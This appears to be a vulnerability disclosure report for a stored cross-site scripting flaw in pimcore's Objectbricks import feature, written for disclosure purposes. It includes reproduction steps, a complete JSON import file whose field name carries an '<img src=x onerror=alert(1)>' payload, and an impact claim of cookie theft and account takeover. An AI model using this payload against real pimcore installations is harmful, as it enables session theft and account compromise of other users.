Description

pimcore is vulnerable to Stored Cross-Site Scripting in the name field via the import functionality.

Steps to reproduce:

1. Navigate to settings --> Data Objects --> Objectbricks
2. ave the following data as JSON file and import it:

{
    "classDefinitions": [],
    "key": null,
    "parentClass": null,
    "implementsInterfaces": null,
    "title": "",
    "group": "",
    "layoutDefinitions": {
        "fieldtype": "panel",
        "layout": null,
        "border": false,
        "name": null,
        "type": null,
        "region": null,
        "title": null,
        "width": 0,
        "height": 0,
        "collapsible": false,
        "collapsed": false,
        "bodyStyle": null,
        "datatype": "layout",
        "permissions": null,
        "childs": [
            {
                "fieldtype": "panel",
                "layout": null,
                "border": false,
                "name": "aa",
                "type": null,
                "region": null,
                "title": "",
                "width": null,
                "height": null,
                "collapsible": false,
                "collapsed": false,
                "bodyStyle": "",
                "datatype": "layout",
                "permissions": null,
                "childs": [
                    {
                        "fieldtype": "numeric",
                        "width": "",
                        "defaultValue": null,
                        "queryColumnType": "double",
                        "columnType": "double",
                        "integer": true,
                        "unsigned": true,
                        "minValue": null,
                        "maxValue": null,
                        "unique": false,
                        "decimalSize": null,
                        "decimalPrecision": null,
                        "name": "<img src=x onerror=alert(1)>",
                        "title": "",
                        "tooltip": "",
                        "mandatory": false,
                        "noteditable": false,
                        "index": false,
                        "locked": false,
                        "style": "",
                        "permissions": null,
                        "datatype": "data",
                        "relationType": false,
                        "invisible": false,
                        "visibleGridView": false,
                        "visibleSearch": false,
                        "defaultValueGenerator": ""
                    },
                    {
                        "fieldtype": "numeric",
                        "width": "",
                        "defaultValue": null,
                        "queryColumnType": "double",
                        "columnType": "double",
                        "integer": true,
                        "unsigned": true,
                        "minValue": null,
                        "maxValue": null,
                        "unique": false,
                        "decimalSize": null,
                        "decimalPrecision": null,
                        "name": "numberOfSeats",
                        "title": "Number Of Seats",
                        "tooltip": "",
                        "mandatory": false,
                        "noteditable": false,
                        "index": false,
                        "locked": false,
                        "style": "",
                        "permissions": null,
                        "datatype": "data",
                        "relationType": false,
                        "invisible": false,
                        "visibleGridView": false,
                        "visibleSearch": false,
                        "defaultValueGenerator": ""
                    },
                    {
                        "fieldtype": "quantityValue",
                        "width": null,
                        "unitWidth": null,
                        "defaultValue": null,
                        "defaultUnit": "4",
                        "validUnits": [
                            "4"
                        ],
                        "decimalPrecision": null,
                        "autoConvert": false,
                        "queryColumnType": {
                            "value": "double",
                            "unit": "varchar(64)"
                        },
                        "columnType": {
                            "value": "double",
                            "unit": "varchar(64)"
                        },
                        "name": "cargoCapacity",
                        "title": "Cargo Capacity",
                        "tooltip": "",
                        "mandatory": false,
                        "noteditable": false,
                        "index": false,
                        "locked": false,
                        "style": "",
                        "permissions": null,
                        "datatype": "data",
                        "relationType": false,
                        "invisible": false,
                        "visibleGridView": false,
                        "visibleSearch": false,
                        "defaultValueGenerator": ""
                    }
                ],
                "locked": false,
                "icon": null,
                "labelWidth": 100,
                "labelAlign": "left"
            }
        ],
        "locked": false,
        "icon": null,
        "labelWidth": 100,
        "labelAlign": "left"
    },
    "generateTypeDeclarations": false
}

3. you will notice that the XSS alert has been triggered.

Payload

<img src=x onerror=alert(0)>

Impact

This vulnerability is capable of stealing users' cookies and gaining full account take over through his credentials and redirecting the user to a malicious website.